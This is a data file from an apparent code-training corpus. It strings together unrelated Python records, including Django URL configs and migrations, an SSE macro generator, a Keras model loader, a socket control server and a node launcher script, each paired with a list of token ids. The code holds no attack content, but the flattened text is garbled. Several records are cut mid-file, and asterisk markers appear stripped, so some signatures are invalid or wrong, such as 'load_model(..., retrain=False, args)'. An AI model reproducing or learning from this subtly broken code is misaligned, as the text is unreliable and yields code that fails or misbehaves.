0	20809	from django.conf import settings from django.urls import include, path, re_path from django.contrib import admin from ariadne_django.views import GraphQLView from wagtail.admin import urls as wagtailadmin_urls from wagtail.core import urls as wagtail_urls from wagtail.documents import urls as wagtaildocs_urls from puput import urls as puput_urls from search import views as search_views from wagsley.schema import schema print(schema) urlpatterns = [ path('django-admin/', admin.site.urls), path('admin/', include(wagtailadmin_urls)), path('documents/', include(wagtaildocs_urls)), #path('search/', search_views.search, name='search'), ] if settings.DEBUG: from django.conf.urls.static import static from django.contrib.staticfiles.urls import staticfiles_urlpatterns # Serve static and media files from development server urlpatterns += staticfiles_urlpatterns() urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT) urlpatterns = urlpatterns + [ path('graphql/', GraphQLView.as_view(schema=schema), name='graphql'), path('accounts/', include('accounts.urls')), path('accounts/', include('django.contrib.auth.urls')), path('accounts/', include('allauth.urls')), path('events/', include('events.urls')), re_path(r'^comments/', include('django_comments_xtd.urls')), path("", include(puput_urls)), path("", include(wagtail_urls)), path('', include('home.urls')), ]	[ 1, 515, 9557, 29889, 5527, 1053, 6055, 13, 3166, 9557, 29889, 26045, 1053, 3160, 29892, 2224, 29892, 337, 29918, 2084, 13, 3166, 9557, 29889, 21570, 1053, 4113, 13, 13, 3166, 263, 374, 328, 484, 29918, 14095, 29889, 7406, 1053, 12367, 2239, 1043, 13, 13, 3166, 281, 351, 18237, 29889, 6406, 1053, 23942, 408, 281, 351, 18237, 6406, 29918, 26045, 13, 3166, 281, 351, 18237, 29889, 3221, 1053, 23942, 408, 281, 351, 18237, 29918, 26045, 13, 3166, 281, 351, 18237, 29889, 3225, 29879, 1053, 23942, 408, 281, 351, 18237, 2640, 29918, 26045, 13, 13, 3166, 2653, 649, 1053, 23942, 408, 2653, 649, 29918, 26045, 13, 13, 3166, 2740, 1053, 8386, 408, 2740, 29918, 7406, 13, 3166, 281, 810, 2330, 29889, 11010, 1053, 10938, 13, 2158, 29898, 11010, 29897, 13, 2271, 11037, 29879, 353, 518, 13, 1678, 2224, 877, 14095, 29899, 6406, 29914, 742, 4113, 29889, 2746, 29889, 26045, 511, 13, 13, 1678, 2224, 877, 6406, 29914, 742, 3160, 29898, 29893, 351, 18237, 6406, 29918, 26045, 8243, 13, 1678, 2224, 877, 3225, 29879, 29914, 742, 3160, 29898, 29893, 351, 18237, 2640, 29918, 26045, 8243, 13, 13, 1678, 396, 2084, 877, 4478, 29914, 742, 2740, 29918, 7406, 29889, 4478, 29892, 1024, 2433, 4478, 5477, 13, 13, 29962, 13, 13, 13, 361, 6055, 29889, 18525, 29901, 13, 1678, 515, 9557, 29889, 5527, 29889, 26045, 29889, 7959, 1053, 2294, 13, 1678, 515, 9557, 29889, 21570, 29889, 7959, 5325, 29889, 26045, 1053, 2294, 5325, 29918, 2271, 11037, 29879, 13, 13, 1678, 396, 1816, 345, 2294, 322, 5745, 2066, 515, 5849, 1923, 13, 1678, 3142, 11037, 29879, 4619, 2294, 5325, 29918, 2271, 11037, 29879, 580, 13, 1678, 3142, 11037, 29879, 4619, 2294, 29898, 11027, 29889, 2303, 4571, 29909, 29918, 4219, 29892, 1842, 29918, 4632, 29922, 11027, 29889, 2303, 4571, 29909, 29918, 21289, 29897, 13, 13, 13, 2271, 11037, 29879, 353, 3142, 11037, 29879, 718, 518, 13, 1678, 2224, 877, 4262, 1519, 29914, 742, 12367, 2239, 1043, 29889, 294, 29918, 1493, 29898, 11010, 29922, 11010, 511, 1024, 2433, 4262, 1519, 5477, 13, 13, 1678, 2224, 877, 10149, 29879, 29914, 742, 3160, 877, 10149, 29879, 29889, 26045, 1495, 511, 13, 1678, 2224, 877, 10149, 29879, 29914, 742, 3160, 877, 14095, 29889, 21570, 29889, 5150, 29889, 26045, 1495, 511, 13, 1678, 2224, 877, 10149, 29879, 29914, 742, 3160, 877, 9864, 2806, 29889, 26045, 1495, 511, 13, 13, 1678, 2224, 877, 13604, 29914, 742, 3160, 877, 13604, 29889, 26045, 1495, 511, 13, 13, 1678, 337, 29918, 2084, 29898, 29878, 29915, 29985, 21032, 29914, 742, 3160, 877, 14095, 29918, 21032, 29918, 486, 29881, 29889, 26045, 1495, 511, 13, 1678, 2224, 703, 613, 3160, 29898, 3746, 649, 29918, 26045, 8243, 13, 1678, 2224, 703, 613, 3160, 29898, 29893, 351, 18237, 29918, 26045, 8243, 13, 13, 1678, 2224, 877, 742, 3160, 877, 5184, 29889, 26045, 1495, 511, 13, 13, 29962, 2 ]
fdbk/data_tools/functions/__init__.py	kangasta/fdbk	1	112410	from ._chart_funcs import * from ._collection_funcs import * from ._status_funcs import * from ._value_funcs import * # pylint: disable=invalid-name functions = {CHART_FUNCS, COLLECTION_FUNCS, STATUS_FUNCS, VALUE_FUNCS}	[ 1, 515, 869, 29918, 15425, 29918, 7692, 2395, 1053, 334, 13, 3166, 869, 29918, 10855, 29918, 7692, 2395, 1053, 334, 13, 3166, 869, 29918, 4882, 29918, 7692, 2395, 1053, 334, 13, 3166, 869, 29918, 1767, 29918, 7692, 2395, 1053, 334, 13, 13, 29937, 282, 2904, 524, 29901, 11262, 29922, 20965, 29899, 978, 13, 12171, 353, 426, 1068, 3210, 8322, 29918, 29943, 3904, 9295, 29892, 3579, 15032, 3281, 2725, 29918, 29943, 3904, 9295, 29892, 3579, 27047, 29918, 29943, 3904, 9295, 29892, 3579, 19143, 29918, 29943, 3904, 9295, 29913, 13, 2 ]
PlatformIndependence/gen_sse_impl.py	ZJUCVG/EIBA	86	109134	<reponame>ZJUCVG/EIBA #!/usr/bin/python import clang.cindex import re import subprocess intrinsic_types = {'__m64', '__m128', '__m128i', '__m128d'} pointer_arg_matcher = re.compile(r'.(__m64\|__m128\|__m128i\|__m128d).\.') non_pointer_arg_matcher = re.compile(r'.(__m64\|__m128\|__m128i\|__m128d).') header = "//Do not edit this file, it's automatically generated." class FuncDeclVisitor: """For a intrinsic function declaration, generate the implementatio""" def __init__(self): self.alreay_visited = set() self.macros = [] # self.funcnames = [] # self.funcimpls = [] # self.taildefines = [] def __call__(self, node): # ret, name, arg_types, arg_names = self.parse(node) old_ret, old_name, old_arg_types, old_arg_names = self.parse(node) if old_name in self.alreay_visited: return self.alreay_visited.add(old_name) new_ret = old_ret.replace('__m', '_pi__m') new_name = '_pi' + old_name new_arg_types, new_paras = [], [] for t, n in zip(old_arg_types, old_arg_names): # new_arg_types.append(t.replace('__m', 'my__m')) if pointer_arg_matcher.match(t): new_paras.append('&' + self.quote(n) + '->native_obj') elif non_pointer_arg_matcher.match(t): new_paras.append(self.quote(n) + '.native_obj') else: new_paras.append(n) macro_head = '#define ' + new_name + self.quote( ','.join(old_arg_names)) # impl = '#define ' + new_name + '(' + \ # ','.join(t + ' ' + n for t, n in zip(new_arg_types, old_arg_names)) + \ # ')' macro_impl = old_name + self.quote(','.join(new_paras)) if old_ret in intrinsic_types: macro_impl = self.native_to_my_expr(macro_impl) # exprs = [] # if old_ret in intrinsic_types: # exprs.append(new_ret + ' tmp') # exprs.append('tmp.native_obj=' + old_name + self.quote(','.join(new_paras))) # exprs.append('tmp') # else: # exprs.append(old_name + self.quote(','.join(new_paras))) # impl = define_head + ' ' + self.quote(','.join(exprs)) # if old_ret in intrinsic_types: # impl = new_ret + ' tmp;' + \ # 'tmp.native_obj=' + impl + 'return tmp;' # elif 'void' != old_ret: # impl = 'return ' + impl # cur_func = decl + '{' + impl + '}' # impl = define_head + define_impl # self.funcimpls.append(impl) # self.funcnames.append((old_name, new_name)) # self.taildefines.append('#ifdef ' + old_name + '\n' + # '#undef ' + old_name + '\n' + '#endif\n' # '#define ' + old_name + self.quote(','.join(old_arg_names)) + # ' ' + new_name + self.quote(','.join(old_arg_names))) win32_macro = ' '.join(['#define', new_name, old_name]) linux_macro = macro_head + macro_impl self.macros.append('\n'.join( ['#ifdef WIN32', win32_macro, '#else', linux_macro, '#endif'])) @staticmethod def parse(node): ret = node.result_type.spelling arg_types = [] arg_names = [] for a in node.get_arguments(): arg_types.append(a.type.spelling) arg_names.append(a.spelling) return ret, node.spelling, arg_types, arg_names @staticmethod def quote(name): return '(' + name + ')' @staticmethod def native_to_my_expr(expr): return 'from_native_obj' + FuncDeclVisitor.quote(expr) def result(self): return self.result def visit_func_decls(node, visitor): """visit AST, for each function declaration node, call visitor""" if node.kind == clang.cindex.CursorKind.FUNCTION_DECL: visitor(node) for c in node.get_children(): visit_func_decls(c, visitor) if __name__ == '__main__': src, out = "sse.in", "sse_impl.h" code = 'class __m64{}; class __m128{}; class __m128i{}; class __m128d{};' with open(src, 'r') as f: code = code + ';'.join(f) code = code + ';' # for line in f: # code = code + line + ';' index = clang.cindex.Index.create() unit = index.parse('tmp.cc', None, [('tmp.cc', code)]) visitor = FuncDeclVisitor() visit_func_decls(unit.cursor, visitor) with open(out, 'w') as outfile: outfile.write(header + '\n') outfile.write('\n'.join(visitor.macros)) outfile.write('\n') # outfile.write('\n'.join(visitor.funcimpls)) # outfile.write('\n') # outfile.write('\n'.join(visitor.taildefines)) # for old_name, new_name in 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server/apps/api/notice/migrations/0003_alter_event_priority.py	NikitaGrishchenko/csp-tender-hack-server	0	20795	# Generated by Django 3.2.9 on 2021-11-27 12:21 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('notice', '0002_auto_20211127_0236'), ] operations = [ migrations.AlterField( model_name='event', name='priority', field=models.IntegerField(choices=[(1, 'Низкий приоритет'), (2, 'Средний приоритет'), (3, 'Высокий приоритет')], verbose_name='Приоритет'), ), ]	[ 1, 396, 3251, 630, 491, 15337, 29871, 29941, 29889, 29906, 29889, 29929, 373, 29871, 29906, 29900, 29906, 29896, 29899, 29896, 29896, 29899, 29906, 29955, 29871, 29896, 29906, 29901, 29906, 29896, 13, 13, 3166, 9557, 29889, 2585, 1053, 9725, 800, 29892, 4733, 13, 13, 13, 1990, 341, 16783, 29898, 26983, 800, 29889, 29924, 16783, 1125, 13, 13, 1678, 9962, 353, 518, 13, 4706, 6702, 1333, 625, 742, 525, 29900, 29900, 29900, 29906, 29918, 6921, 29918, 29906, 29900, 29906, 29896, 29896, 29896, 29906, 29955, 29918, 29900, 29906, 29941, 29953, 5477, 13, 1678, 4514, 13, 13, 1678, 6931, 353, 518, 13, 4706, 9725, 800, 29889, 2499, 357, 3073, 29898, 13, 9651, 1904, 29918, 978, 2433, 3696, 742, 13, 9651, 1024, 2433, 29886, 21766, 742, 13, 9651, 1746, 29922, 9794, 29889, 7798, 3073, 29898, 1859, 1575, 11759, 29898, 29896, 29892, 525, 30029, 6531, 3753, 1695, 29904, 641, 13562, 5477, 313, 29906, 29892, 525, 30008, 4715, 2332, 1695, 29904, 641, 13562, 5477, 313, 29941, 29892, 525, 30012, 29982, 2223, 3753, 1695, 29904, 641, 13562, 1495, 1402, 26952, 29918, 978, 2433, 30013, 641, 29904, 641, 13562, 5477, 13, 4706, 10353, 13, 1678, 4514, 13, 2 ]
lsh/utils/strings_utils.py	singhj/locality-sensitive-hashing	19	185013	import re import string DEFAULT_TOKENIZER_DELIMITER = ' ' def remove_all_whitespace(str): """ Strips all whitespace from a given string. :return: new string without whitespaces, will return the original string if it is empty or None """ if str: return re.sub(r'\s+', '', str) else: return str def tokenize(str, delimiter=DEFAULT_TOKENIZER_DELIMITER): """ Splits a string by a given delimiter. Default delimiter is a single whitespace. :return: list of string tokens, will return the original string if it is empty or None """ if str: return str.split(delimiter) else: return str def normalize(str): """ Normalizes the string making string all lower case and removes all punctuation. :param str: string to be normalized :return: normalized string, if str is None or empty it returns the original string """ if str: if isinstance(str, unicode): not_letters_or_digits = u'!"#%\'()*+,-./:;<=>?@[\]^_`{\|}~' translate_to = u'' translate_table = dict((ord(char), translate_to) for char in not_letters_or_digits) return str.translate(translate_table) else: return str.lower().translate(string.maketrans("",""), string.punctuation) else: return str def get_stem(word): #TODO: Research stemming libraries and implement method using library functions return word	[ 1, 1053, 337, 13, 5215, 1347, 13, 13, 23397, 29918, 4986, 29968, 1430, 26664, 1001, 29918, 2287, 5265, 26349, 1001, 353, 525, 525, 13, 13, 1753, 3349, 29918, 497, 29918, 1332, 3246, 3535, 29898, 710, 1125, 13, 1678, 9995, 13, 4706, 624, 374, 567, 599, 24358, 515, 263, 2183, 1347, 29889, 13, 4706, 584, 2457, 29901, 716, 1347, 1728, 18960, 22459, 29892, 674, 736, 278, 2441, 1347, 565, 372, 338, 4069, 470, 6213, 13, 1678, 9995, 13, 1678, 565, 851, 29901, 13, 4706, 736, 337, 29889, 1491, 29898, 29878, 12764, 29879, 29974, 742, 15516, 851, 29897, 13, 1678, 1683, 29901, 13, 4706, 736, 851, 13, 13, 1753, 5993, 675, 29898, 710, 29892, 28552, 29922, 23397, 29918, 4986, 29968, 1430, 26664, 1001, 29918, 2287, 5265, 26349, 1001, 1125, 13, 1678, 9995, 13, 4706, 317, 572, 1169, 263, 1347, 491, 263, 2183, 28552, 29889, 13109, 28552, 338, 263, 2323, 24358, 29889, 13, 4706, 584, 2457, 29901, 1051, 310, 1347, 18897, 29892, 674, 736, 278, 2441, 1347, 565, 372, 338, 4069, 470, 6213, 13, 1678, 9995, 13, 13, 1678, 565, 851, 29901, 13, 4706, 736, 851, 29889, 5451, 29898, 6144, 19657, 29897, 13, 1678, 1683, 29901, 13, 4706, 736, 851, 13, 13, 1753, 4226, 675, 29898, 710, 1125, 13, 1678, 9995, 13, 4706, 21981, 7093, 278, 1347, 3907, 1347, 599, 5224, 1206, 322, 25388, 599, 6035, 22999, 362, 29889, 13, 4706, 584, 3207, 851, 29901, 1347, 304, 367, 4226, 1891, 13, 4706, 584, 2457, 29901, 4226, 1891, 1347, 29892, 565, 851, 338, 6213, 470, 4069, 372, 3639, 278, 2441, 1347, 13, 1678, 9995, 13, 13, 1678, 565, 851, 29901, 13, 4706, 565, 338, 8758, 29898, 710, 29892, 29104, 1125, 13, 9651, 451, 29918, 1026, 2153, 29918, 272, 29918, 7501, 1169, 353, 318, 29915, 3850, 29937, 29995, 20333, 580, 29930, 29974, 6653, 6904, 29901, 29936, 29966, 4261, 29973, 29992, 7110, 29962, 29985, 29918, 29952, 28437, 29913, 30022, 29915, 13, 9651, 14240, 29918, 517, 353, 318, 4907, 13, 9651, 14240, 29918, 2371, 353, 9657, 3552, 536, 29898, 3090, 511, 14240, 29918, 517, 29897, 363, 1373, 297, 451, 29918, 1026, 2153, 29918, 272, 29918, 7501, 1169, 29897, 13, 9651, 736, 851, 29889, 21652, 29898, 21652, 29918, 2371, 29897, 13, 4706, 1683, 29901, 13, 9651, 736, 851, 29889, 13609, 2141, 21652, 29898, 1807, 29889, 29885, 557, 18184, 550, 703, 3284, 4968, 1347, 29889, 29886, 18049, 29884, 362, 29897, 13, 1678, 1683, 29901, 13, 4706, 736, 851, 13, 13, 1753, 679, 29918, 303, 331, 29898, 1742, 1125, 13, 1678, 396, 4986, 3970, 29901, 10550, 20805, 4056, 9562, 322, 2334, 1158, 773, 3489, 3168, 13, 1678, 736, 1734, 2 ]
LPP/lmsff/lms_app/migrations/0002_auto_20180912_0920.py	teamdiniz/Projeto-devops-lms	0	189852	# Generated by Django 2.0.6 on 2018-09-12 12:20 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('lms_app', '0001_initial'), ] operations = [ migrations.RenameField( model_name='disciplina', old_name='nomedd', new_name='nome', ), ]	[ 1, 396, 3251, 630, 491, 15337, 29871, 29906, 29889, 29900, 29889, 29953, 373, 29871, 29906, 29900, 29896, 29947, 29899, 29900, 29929, 29899, 29896, 29906, 29871, 29896, 29906, 29901, 29906, 29900, 30004, 13, 30004, 13, 3166, 9557, 29889, 2585, 1053, 9725, 800, 30004, 13, 30004, 13, 30004, 13, 1990, 341, 16783, 29898, 26983, 800, 29889, 29924, 16783, 1125, 30004, 13, 30004, 13, 1678, 9962, 353, 518, 30004, 13, 4706, 6702, 29880, 1516, 29918, 932, 742, 525, 29900, 29900, 29900, 29896, 29918, 11228, 5477, 30004, 13, 1678, 4514, 30004, 13, 30004, 13, 1678, 6931, 353, 518, 30004, 13, 4706, 9725, 800, 29889, 29934, 3871, 3073, 29898, 30004, 13, 9651, 1904, 29918, 978, 2433, 2218, 13326, 1099, 23592, 13, 9651, 2030, 29918, 978, 2433, 11522, 287, 29881, 23592, 13, 9651, 716, 29918, 978, 2433, 25155, 23592, 13, 4706, 10353, 30004, 13, 1678, 4514, 30004, 13, 2 ]
Python3/专利检索爬虫/solvecsvFUCKED.py	BillChen2K/LearningRepo	11	154745	from lxml import etree import lxml import pickle with open('/Users/billchen/OneDrive/Workspace/LearningRepo/Python3/专利检索爬虫/20050101_20101231_B09B_PAGE1.pickle', 'rb') as f: source = '' p = pickle.load(f) html = etree.HTML(p)	[ 1, 515, 301, 3134, 1053, 634, 929, 13, 5215, 301, 3134, 13, 5215, 5839, 280, 13, 13, 2541, 1722, 11219, 5959, 29914, 29890, 453, 2724, 29914, 6716, 29928, 4401, 29914, 5531, 3493, 29914, 29931, 799, 1076, 5612, 29877, 29914, 11980, 29941, 29914, 31756, 31107, 233, 166, 131, 31836, 234, 139, 175, 235, 156, 174, 29914, 29906, 29900, 29900, 29945, 29900, 29896, 29900, 29896, 29918, 29906, 29900, 29896, 29900, 29896, 29906, 29941, 29896, 29918, 29933, 29900, 29929, 29933, 29918, 7228, 1692, 29896, 29889, 23945, 280, 742, 525, 6050, 1495, 408, 285, 29901, 13, 1678, 2752, 353, 6629, 13, 1678, 282, 353, 5839, 280, 29889, 1359, 29898, 29888, 29897, 13, 1420, 353, 634, 929, 29889, 7020, 29898, 29886, 29897, 13, 2 ]
load_model.py	zhfeing/cifar-10-test	0	27458	import keras import os def load_model(version, new_model, retrain=False, args): """ :param version: model version :param new_model: method for call to get a new model e.g. my_ResNet.my_ResNet :param retrain: True: load new model :return: """ create_new_model = False # load model if not retrain: try: with open(os.path.join("./model", "model_structure_{}.json".format(version)), "r") as file: model_json = file.read() print("[info]: loading model...") model = keras.models.model_from_json(model_json) model.load_weights(os.path.join("./model", "model_weights_{}.h5".format(version))) print("[info]: load model done.") except OSError: print("[info]: load model file failed, creating model") model = new_model(args) create_new_model = True else: print("[info]: retrain, creating model") model = new_model(*args) create_new_model = True return model, create_new_model	[ 1, 1053, 13023, 294, 13, 5215, 2897, 13, 13, 13, 1753, 2254, 29918, 4299, 29898, 3259, 29892, 716, 29918, 4299, 29892, 337, 14968, 29922, 8824, 29892, 334, 5085, 1125, 13, 1678, 9995, 13, 1678, 584, 3207, 1873, 29901, 1904, 1873, 13, 1678, 584, 3207, 716, 29918, 4299, 29901, 1158, 363, 1246, 304, 679, 263, 716, 1904, 321, 29889, 29887, 29889, 590, 29918, 1666, 6779, 29889, 1357, 29918, 1666, 6779, 13, 1678, 584, 3207, 337, 14968, 29901, 5852, 29901, 2254, 716, 1904, 13, 1678, 584, 2457, 29901, 13, 1678, 9995, 13, 1678, 1653, 29918, 1482, 29918, 4299, 353, 7700, 13, 1678, 396, 2254, 1904, 13, 1678, 565, 451, 337, 14968, 29901, 13, 4706, 1018, 29901, 13, 9651, 411, 1722, 29898, 359, 29889, 2084, 29889, 7122, 703, 6904, 4299, 613, 376, 4299, 29918, 23905, 648, 1836, 3126, 1642, 4830, 29898, 3259, 8243, 376, 29878, 1159, 408, 934, 29901, 13, 18884, 1904, 29918, 3126, 353, 934, 29889, 949, 580, 13, 9651, 1596, 703, 29961, 3888, 5387, 8363, 1904, 856, 1159, 13, 9651, 1904, 353, 13023, 294, 29889, 9794, 29889, 4299, 29918, 3166, 29918, 3126, 29898, 4299, 29918, 3126, 29897, 13, 9651, 1904, 29889, 1359, 29918, 705, 5861, 29898, 359, 29889, 2084, 29889, 7122, 703, 6904, 4299, 613, 376, 4299, 29918, 705, 5861, 648, 1836, 29882, 29945, 1642, 4830, 29898, 3259, 4961, 13, 9651, 1596, 703, 29961, 3888, 5387, 2254, 1904, 2309, 23157, 13, 4706, 5174, 438, 29173, 29901, 13, 9651, 1596, 703, 29961, 3888, 5387, 2254, 1904, 934, 5229, 29892, 4969, 1904, 1159, 13, 9651, 1904, 353, 716, 29918, 4299, 10456, 5085, 29897, 13, 9651, 1653, 29918, 1482, 29918, 4299, 353, 5852, 13, 1678, 1683, 29901, 13, 4706, 1596, 703, 29961, 3888, 5387, 337, 14968, 29892, 4969, 1904, 1159, 13, 4706, 1904, 353, 716, 29918, 4299, 10456, 5085, 29897, 13, 4706, 1653, 29918, 1482, 29918, 4299, 353, 5852, 13, 1678, 736, 1904, 29892, 1653, 29918, 1482, 29918, 4299, 13, 13, 2 ]
sgcache/control.py	vfxetc/sgcache	13	8516	<gh_stars>10-100 from __future__ import absolute_import from select import select import errno import functools import itertools import json import logging import os import socket import threading import time import traceback log = logging.getLogger(__name__) from .utils import makedirs, unlink class TimeOut(Exception): pass base_handlers = { 'ping': lambda control, msg: {'type': 'pong', 'pid': os.getpid()} } def _coerce_msg(type=None, *msg): if type: if isinstance(type, basestring): msg['type'] = type return msg elif msg: raise ValueError('cannot specify dict message and kwargs') else: msg = dict(type) if 'type' not in msg: raise ValueError('message requires type') return msg class ControlClient(object): handlers = base_handlers.copy() def __init__(self, addr=None, sock=None, server=None): self.addr = addr self.sock = sock self.server = server self._line_buffer = '' self._message_buffer = [] self._handler_reply_ids = None self._session_generator = itertools.count(1) if sock is None: self.connect() def connect(self): # This is indempodent. if self.sock is not None: return if self.addr is None: return if isinstance(self.addr, basestring): self.sock = socket.socket(socket.AF_UNIX) else: self.sock = socket.socket(socket.AF_INET) self.sock.connect(self.addr) return True def close(self): if self.sock: self.sock.close() self.sock = None def _readline(self, timeout=None): if not self.sock: return if timeout: end_time = time.time() + timeout buffer_ = self._line_buffer while True: r, _, _ = select([self.sock], [], [], max(0, end_time - time.time()) if timeout else None) if not r: raise TimeOut() new = self.sock.recv(4096) if not new: self.sock = None self._line_buffer = '' return buffer_ += new if '\n' in buffer_: line, buffer_ = buffer_.split('\n', 1) self._line_buffer = buffer_ return line def recv(self, timeout=None): try: return self._message_buffer.pop(0) except IndexError: pass for attempt_num in (0, 1): self.connect() try: line = self._readline(timeout) except socket.error as e: if attempt_num: raise if line: try: return json.loads(line) except: self.send('error', message='malformed message') self.close() return if attempt_num: return def recv_for(self, wait_id, timeout=None): for i in xrange(len(self._message_buffer)): msg = self._message_buffer[i] if msg.get('for') == wait_id: self._message_buffer.pop(i) return msg while True: msg = self.recv(timeout) if not msg: return if msg.get('for') == wait_id: return msg self._message_buffer.append(msg) def send(self, args, *kwargs): msg = _coerce_msg(args, *kwargs) wait_id = msg.get('wait') if wait_id is True: wait_id = msg['wait'] = next(self._session_generator) encoded = json.dumps(msg) # Track what has been sent automatically. if wait_id is not None and self._handler_reply_ids is not None: self._handler_reply_ids.add(wait_id) # Attempt to reconnect a couple times when sending this. for attempt_num in (0, 1): self.connect() try: self.sock.send(encoded + '\n') except socket.error as e: if attempt_num: raise return wait_id def reply_to(self, original, args, *kwargs): wait_id = original.get('wait') if wait_id is None: raise ValueError('original message has no session') msg = _coerce_msg(args, kwargs) msg['for'] = wait_id self.send(msg) def send_and_recv(self, type, kwargs): timeout = kwargs.pop('timeout') msg = _coerce_msg(type, kwargs) msg['wait'] = True wait_id = self.send(msg) return self.recv_for(wait_id, timeout) def ping(self, timeout=None): return self.send_and_recv('ping', pid=os.getpid(), timeout=timeout) def loop(self, async=False): if async: thread = threading.Thread(target=self.loop) thread.daemon = True thread.start() return thread while True: msg = self.recv() if not msg: return type_ = msg.get('type') wait_id = msg.get('wait') func = self.handlers.get(type_) if func is None and self.server: func = self.server.handlers.get(type_) if func is None: log.warning('unknown message type %r' % type_) self.reply_to(msg, 'error', message='unknown message type %r' % type_) continue if self.server and self.server.name: log.info('%s handling %s' % (self.server.name, type_)) else: log.info('handling %s' % type_) self._handler_reply_ids = set() try: res = func(self, msg) except Exception as e: self.reply_to(msg, 'error', message='unhandled exception %s' % e) continue # If the handler replied, then we are done. if res is None and wait_id is None or wait_id in self._handler_reply_ids: continue res = res.copy() if isinstance(res, dict) and 'type' in res else {'type': 'result', 'value': res} if wait_id is not None: res['for'] = wait_id self.send(res) class ControlServer(object): def __init__(self, addr, name=None): self.addr = addr self.name = name self.handlers = base_handlers.copy() if isinstance(self.addr, basestring): self.sock = socket.socket(socket.AF_UNIX) if os.path.exists(self.addr): # TODO: Try connecting to it before destroying it. unlink(self.addr) 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scripts/run_shard.py	spmckenney/Devv-Core	0	59865	<filename>scripts/run_shard.py<gh_stars>0 #!/usr/bin/python3 ''' Usage: ./run_shard.py config_file output_dir Example: ./run_shard.py ../../my_config.txt /tmp/output Creates an X node shard on localhost. Each node will read the config file for default options. The nodes will be connected to each other and each will also open a connection to an announcer at "tcp://localhost:(announcer_base_port + node_num). ''' import sys import os import time import subprocess nodes=['localhost', 'localhost', 'localhost'] announce_node='localhost' start_processes = True run_in_charliecloud = False num_nodes = len(nodes) num_t2_shards=1 base_port = 56550 announcer_base_port = 57550 config_file = sys.argv[1] log_dir = sys.argv[2] pass_file = sys.argv[3] if num_nodes < 3: print("Error, number of nodes must be >= 3") bind_port = [] node_target = [] output_file = [] for i in range(num_nodes): bind_port.append("tcp://:"+str(base_port+i)) node_target.append("tcp://"+nodes[i]+":"+str(base_port+i)) output_file.append(os.path.join(log_dir, "devvnode_output"+str(i)+".log")) host_list = [] for i in range(num_nodes): host_list.append([]) #node_index=i for index, node in enumerate(nodes): # skip self if (index == i): continue host_list[i].append(node_target[index]) cmds = [] for i in range(len(nodes)): cmds.append([]) cmd = cmds[i] if run_in_charliecloud: cmd.append("ch-run") cmd.append("/z/c-cloud/dirs/x86_64-ubuntu16.04-devcash-v028") cmd.append("--") cmd.append("./devcash") # set node index cmd.extend(["--node-index", str(i)]) # add config file cmd.extend(["--config", config_file]) # add config file cmd.extend(["--config", pass_file]) # connect to each node for host in host_list[i]: cmd.extend(["--host-list", host]) # connect to announcer cmd.extend(["--host-list", "tcp://"+announce_node+":"+str(announcer_base_port+i)]) # bind for incoming connections cmd.extend(["--bind-endpoint", bind_port[i]]) ############################# ps = [] for index,cmd in enumerate(cmds): print("Node " + str(index) + ":") print(" Command: ",cmd) print(" Logfile: ",output_file[index]) if start_processes: with open(output_file[index], "w") as outfile: ps.append(subprocess.Popen(cmd, stdout=outfile, stderr=outfile)) time.sleep(1.5) if start_processes: for p in ps: print("Waiting for nodes ... ctl-c to exit.") p.wait() print("Goodbye.")	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object_detection/fine_tuning_utils/create_food_annotations.py	SirSykon/object_detection	0	82698	<reponame>SirSykon/object_detection<filename>object_detection/fine_tuning_utils/create_food_annotations.py import pandas as pd import os import cv2 import argparse import numpy as np from shutil import copyfile from xml.etree.ElementTree import Element, SubElement, Comment, tostring, parse, ElementTree def create_annotations(data_annotations_path, image_folder, output_annotations_folder, output_image_folder, labelmap_path, number_of_classes_to_get, reduce_factor): # We turn the .xls into a pandas Dataframe. df = pd.read_excel(io=data_annotations_path, sheet_name='Hoja3', names=['Image', 'Meal', 'x1', 'y1', 'x2', 'y2', 'x3', 'y3', 'x4', 'y4']) MEAL_LIST = list(df.Meal.unique()) meal_count = df['Meal'].value_counts() with pd.option_context('display.max_rows', None, 'display.max_columns', None): # more options can be specified also print(meal_count[:number_of_classes_to_get]) MEALS_TO_USE = list(meal_count[:number_of_classes_to_get].index) row = df.loc[df['Meal'].isin(MEALS_TO_USE)] for index, meal in enumerate(MEALS_TO_USE): item = {"id":index+1, "name":meal} print(item) with open(labelmap_path, 'a') as f: s = "\nitem {\n id: "+str(index+1)+"\n name: '"+meal+"'\n}" f.write(s) for index, (_, row) in enumerate(row.iterrows()): # We get the xml annotation path. xml_path = os.path.join(output_annotations_folder, row.Image + ".xml") # Does the .xm exists? if not os.path.exists(xml_path): print(f"{xml_path} not found.") # We get the image path. image_path = os.path.join(image_folder,row.Image + ".jpg") # We load the image and add it to the list. image = cv2.imread(image_path) if reduce_factor > 1: new_dim = (int(image.shape[1]/reduce_factor), int(image.shape[0]/reduce_factor)) image = cv2.resize(image, new_dim) cv2.imwrite(os.path.join(output_image_folder,row.Image + ".jpg"), image) #copyfile(image_path, os.path.join(output_image_folder,row.Image + ".jpg")) # We get height and width to normalize. h, w, c = image.shape ann = Element('annotation') folder = SubElement(ann, "folder") folder.text = "images" filename = SubElement(ann, "filename") filename.text = os.path.basename(image_path) path = SubElement(ann, "path") path.text = os.path.abspath(image_path) source = SubElement(ann, "source") database = SubElement(source, "database") database.text = "Unknown" size = SubElement(ann, "size") width = SubElement(size, "width") width.text = str(w) height = SubElement(size, "height") height.text = str(h) depth = SubElement(size, "depth") depth.text = str(c) segmented = SubElement(ann, "segmented") segmented.text = str(0) else: print(f"{xml_path} found.") xml_tree = parse(xml_path) root = xml_tree.getroot() ann = root class_label_id = MEAL_LIST.index(row.Meal) + 1 # We get bounding box corner coordinates. listX = [row.x1, row.x2, row.x3, row.x4] listY = [row.y1, row.y2, row.y3, row.y4] bbox_xmin = int(min(listX)/reduce_factor) bbox_ymin = int(min(listY)/reduce_factor) bbox_xmax = int(max(listX)/reduce_factor) bbox_ymax = int(max(listY)/reduce_factor) obj = SubElement(ann, "object") name = SubElement(obj, "name") name.text = str(row.Meal) pose = SubElement(obj, "pose") pose.text = "Unspecified" truncated = SubElement(obj, "truncated") truncated.text = str(0) difficult = SubElement(obj, "difficult") difficult.text = str(0) bndbox = SubElement(obj, "bndbox") xmin = SubElement(bndbox, "xmin") xmin.text = str(bbox_xmin) ymin = SubElement(bndbox, "ymin") ymin.text = str(bbox_ymin) xmax = SubElement(bndbox, "xmax") xmax.text = str(bbox_xmax) ymax = SubElement(bndbox, "ymax") ymax.text = str(bbox_ymax) tree = ElementTree(ann) tree.write(xml_path) """ child = SubElement(top, 'child') child.text = 